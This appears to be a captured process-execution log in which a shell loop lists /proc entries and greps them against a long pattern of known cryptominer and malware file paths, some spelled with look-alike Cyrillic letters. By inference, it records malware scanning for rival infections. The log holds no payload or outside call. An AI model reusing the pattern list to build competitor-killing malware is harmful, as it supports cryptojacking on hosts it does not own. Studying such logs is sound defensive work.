[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/9]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/buddyinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/bus]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cgroups]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cmdline]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/consoles]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cpuinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/crypto]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/device-tree]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/devices]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/diskstats]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/dma]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/driver]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/execdomains]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/fb]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/filesystems]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/fs]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/interrupts]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/iomem]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/ioports]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/irq]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kallsyms]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kcore]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/key-users]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/keys]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kmsg]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpagecgroup]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpagecount]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpageflags]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/loadavg]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/locks]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/meminfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/misc]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/modules]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/mounts]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/net]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/pagetypeinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/partitions]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sched_debug]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/schedstat]

/bin/grep

